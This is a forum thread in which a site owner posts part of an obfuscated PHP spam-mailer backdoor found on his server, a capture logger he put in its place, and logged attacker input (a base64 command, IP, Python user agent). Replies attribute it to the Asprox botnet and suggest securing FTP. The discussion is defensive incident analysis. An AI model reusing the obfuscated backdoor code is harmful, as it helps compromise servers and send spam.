            ${$gjvppir} .= "Referer: {$params['referer']}\r\n";
        if (isset(${${"GLOBALS"}["ysihoboxrlp"]}["cookie"])) {
            $ztssvlnv                   = "params";
            ${${"GLOBALS"}["wtdppktf"]} = "";
            $qnmqlxq                    = "cookie";
            if (is_array(${$ztssvlnv}["cookie"])) {
                ${"GLOBALS"}["osiiuvji"] = "k";
                ${"GLOBALS"}["bisylu"]   = "cookie";
                $btalunrwhiv             = "params";
                $eotrwnlnuut             = "cookie";
                foreach (${$btalunrwhiv}["cookie"] as ${${"GLOBALS"}["osiiuvji"]} => ${${"GLOBALS"}["beratloij"]})
                    ${$eotrwnlnuut} .= "$k=$v; ";
                ${${"GLOBALS"}["bisylu"]} = substr(${${"GLOBALS"}["wtdppktf"]}, 0, -2);
            } else
                ${${"GLOBALS"}["wtdppktf"]} = ${${"GLOBALS"}["icgdbvfx"]}["cookie"];
            $tiwbwbgch = "request";
            if (${$qnmqlxq} != "")
                ${$tiwbwbgch} .= "Cookie: $cookie\r\n";
        }
        ${"GLOBALS"}["wfcqsum"] = "request";
        $dpnkqsgbmss            = "params";
        ${${"GLOBALS"}["reqvhywjsyc"]} .= "Connection: close\r\n";
        $rrgdjfvkdzd = "params";
        if (${$dpnkqsgbmss}["method"] == "POST") {
            $bdrehri = "data";
            if (isset(${${"GLOBALS"}["icgdbvfx"]}["data"]) && is_array(${${"GLOBALS"}["icgdbvfx"]}["data"])) {
                $egwwjfvmn                  = "k";
                ${"GLOBALS"}["theexecgcpc"] = "data";
                ${"GLOBALS"}["qsvwagufkq"]  = "v";
                $fkqgohlfyhme               = "data";
                $qttdtutjpo                 = "data";
                ${"GLOBALS"}["qzkbuomkiwt"] = "k";
                $xturoya                    = "data";
                foreach (${${"GLOBALS"}["icgdbvfx"]}["data"] AS ${${"GLOBALS"}["qzkbuomkiwt"]} => ${${"GLOBALS"}["beratloij"]})
                    ${${"GLOBALS"}["theexecgcpc"]} .= urlencode(${$egwwjfvmn}) . "=" . urlencode(${${"GLOBALS"}["qsvwagufkq"]}) . "&";
                if (substr(${$fkqgohlfyhme}, -1) == "&")
                    ${$qttdtutjpo} = substr(${$xturoya}, 0, -1);
            }
            ${"GLOBALS"}["qdybannd"] = "data";
            $vpqzmjw                 = "request";
            ${${"GLOBALS"}["qdybannd"]} .= "\r\n\r\n";
            ${${"GLOBALS"}["mxbdjl"]} .= "Content-type: application/x-www-form-urlencoded\r\n";
            ${$vpqzmjw} .= "Content-length: " . strlen(${$bdrehri}) . "\r\n";
        }
        ${${"GLOBALS"}["mxbdjl"]} .= "\r\n";
        if (${$rrgdjfvkdzd}["method"] == "POST")
            ${${"GLOBALS"}["mxbdjl"]} .= ${${"GLOBALS"}["yhdqjv"]};
        $sttbiso = "h_detected";
        @fwrite(${${"GLOBALS"}["szyxqtzcz"]}, ${${"GLOBALS"}["wfcqsum"]});
        ${${"GLOBALS"}["voftntvv"]} = "";
        ${${"GLOBALS"}["gcjhotz"]}  = "";
        ${$sttbiso}                 = false;
        while (!@feof(${${"GLOBALS"}["wsxrgoan"]})) {
            ${"GLOBALS"}["ggtgxfqmhr"] = "fp";
            $mqieenew                  = "res";
            $wetpmnqilx                = "h_detected";
            ${$mqieenew} .= @fread(${${"GLOBALS"}["ggtgxfqmhr"]}, 1024);
            if (!${$wetpmnqilx} && strpos(${${"GLOBALS"}["voftntvv"]}, "\r\n\r\n") !== FALSE) {
                $ymmwrvoxk                  = "params";
                ${"GLOBALS"}["mtvkkvxdxoa"] = "params";
                ${${"GLOBALS"}["plfpgtb"]}  = true;
                $lqolddccno                 = "res";
                ${${"GLOBALS"}["gcjhotz"]}  = substr(${${"GLOBALS"}["voftntvv"]}, 0, strpos(${${"GLOBALS"}["voftntvv"]}, "\r\n\r\n"));
                ${"GLOBALS"}["inyzbimrc"]   = "params";
                ${$lqolddccno}              = substr(${${"GLOBALS"}["voftntvv"]}, strpos(${${"GLOBALS"}["voftntvv"]}, "\r\n\r\n") + 4);
                ${"GLOBALS"}["viuxkiqghe"]  = "params";
                $ynocuad                    = "params";
                if (${${"GLOBALS"}["inyzbimrc"]}["return"] == "headers" || ${$ynocuad}["return"] == "array" || (isset(${$ymmwrvoxk}["redirect"]) && ${${"GLOBALS"}["icgdbvfx"]}["redirect"] == true)) {
                    ${"GLOBALS"}["tihbfknd"]   = "headers";
                    $cxurfemi                  = "v";
                    $nswjgtyivh                = "h";
                    ${"GLOBALS"}["zvszpu"]     = "h";
                    ${${"GLOBALS"}["zvszpu"]}  = explode("\r\n", ${${"GLOBALS"}["tihbfknd"]});
                    ${${"GLOBALS"}["gcjhotz"]} = array( );
                    $vberfrg                   = "k";
                    foreach (${$nswjgtyivh} as ${$vberfrg} => ${$cxurfemi}) {
                        $goonxstjkr = "v";
                        if (strpos(${$goonxstjkr}, ":")) {
                            ${"GLOBALS"}["kkjigtjk"]      = "v";
                            $pdtxksekkf                   = "v";
                            ${"GLOBALS"}["nxnazsix"]      = "v";
                            ${${"GLOBALS"}["mqlebyzvmj"]} = substr(${${"GLOBALS"}["nxnazsix"]}, 0, strpos(${${"GLOBALS"}["kkjigtjk"]}, ":"));
                            ${${"GLOBALS"}["beratloij"]}  = trim(substr(${$pdtxksekkf}, strpos(${${"GLOBALS"}["beratloij"]}, ":") + 1));
                        }
                        ${${"GLOBALS"}["gcjhotz"]}[strtoupper(${${"GLOBALS"}["mqlebyzvmj"]})] = ${${"GLOBALS"}["beratloij"]};
                    }
                }
                if (isset(${${"GLOBALS"}["icgdbvfx"]}["redirect"]) && ${${"GLOBALS"}["viuxkiqghe"]}["redirect"] == true && isset(${${"GLOBALS"}["gcjhotz"]}["LOCATION"])) {
                    ${"GLOBALS"}["vxgtkfmq"]           = "params";
                    $mevkiblihp                        = "headers";
                    ${${"GLOBALS"}["icgdbvfx"]}["url"] = ${$mevkiblihp}["LOCATION"];
                    if (!isset(${${"GLOBALS"}["icgdbvfx"]}["redirect-count"]))
                        ${${"GLOBALS"}["icgdbvfx"]}["redirect-count"] = 0;
                    if (${${"GLOBALS"}["vxgtkfmq"]}["redirect-count"] < 10) {
                        $fkqxmrulf = "func";
                        $ftjyenwi  = "params";
                        ${${"GLOBALS"}["icgdbvfx"]}["redirect-count"]++;
                        ${"GLOBALS"}["lbyothw"]   = "func";
                        ${"GLOBALS"}["ntendwsbp"] = "func";
                        ${$fkqxmrulf}             = __FUNCTION__;
                        return @is_object($this) ? $this->${${"GLOBALS"}["ntendwsbp"]}(${$ftjyenwi}) : ${${"GLOBALS"}["lbyothw"]}(${${"GLOBALS"}["icgdbvfx"]});
                    }
                }
                if (${${"GLOBALS"}["mtvkkvxdxoa"]}["return"] == "headers")
                    return ${${"GLOBALS"}["gcjhotz"]};
            }
        }
        @fclose(${${"GLOBALS"}["ihvknvh"]});
    } else
        return FALSE;
    if (${${"GLOBALS"}["icgdbvfx"]}["return"] == "array")
        ${${"GLOBALS"}["voftntvv"]} = array(
            "headers" => ${$pmcvjns},
            "content" => ${${"GLOBALS"}["krcdefut"]}
        );
    return ${${"GLOBALS"}["hrixbsdqcqma"]};
}
?>

Any thoughts how I can prevent these files from appearing and sending mass spam???
 
Check logs to see if they're being uploaded to your server by someone with an FTP login (compare date/time stamps against login times/dates).

Otherwise look for exploitable code in the php files currently on the site.

Jeff
 
Check logs to see if they're being uploaded to your server by someone with an FTP login (compare date/time stamps against login times/dates).

Otherwise look for exploitable code in the php files currently on the site.

Jeff

Still investigating, but I got this earlier... The file I mentioned here? I replaced it with this:

Code:
<?php
$data = file_get_contents("./log.txt") . "\n\n\n\n";

foreach( $_POST as $key => $val )
{
	$data .= "['_POST'] [$key] = $val\n";
}

foreach( $_GET as $key => $val )
{
	$data .= "['_GET'] [$key] = $val\n";
}

foreach( $_REQUEST as $key => $val )
{
	$data .= "['_REQUEST'] [$key] = $val\n";
}

foreach( $_SERVER as $key => $val )
{
	$data .= "['_SERVER'] [$key] = $val\n";
}

file_put_contents( "./log.txt", $data );

?>

I hate you.


A couple of if interesting bits:
['_POST']
Code:
 = ZWNobyAic2FkZmFzZGZhc2RmYXNkZiI7
['_POST'] [type] = 10dfc8d0d36decfa1934bcf0e82e80ff
['_SERVER'] [HTTP_USER_AGENT] = Python-urllib/2.7
['_SERVER'] [REMOTE_ADDR] = 78.138.118.128
[/QUOTE]
 
Last edited:
I suggest that you install antivirus that checks uploading and delete files before it is placed on your sever.
Virus has the ability to delete such files.
 
Now that I have some of these IPs though, is there a way I can blacklist them from every accessing the server at all? Or do I have any options there?
 
Asprox botnet php backdoor and maling script

I've decoded the latest PHP file (it was written in HEX) and if you wrote this? I officially hate you.

The cached original version is at http://ddecode.com/hexdecoder/?results=3233e0a58699c45573f2889109cfb31a

Hello c0nfus3d1,
I believe that this script was part of the Asprox botnet. Your server was most probably compromised because of the stollen FTP password. Change the password and switch from using FTP to SFTP.

http://rebsnippets.blogspot.com/asprox


Best regards
Michal Ambroz
 
Back
Top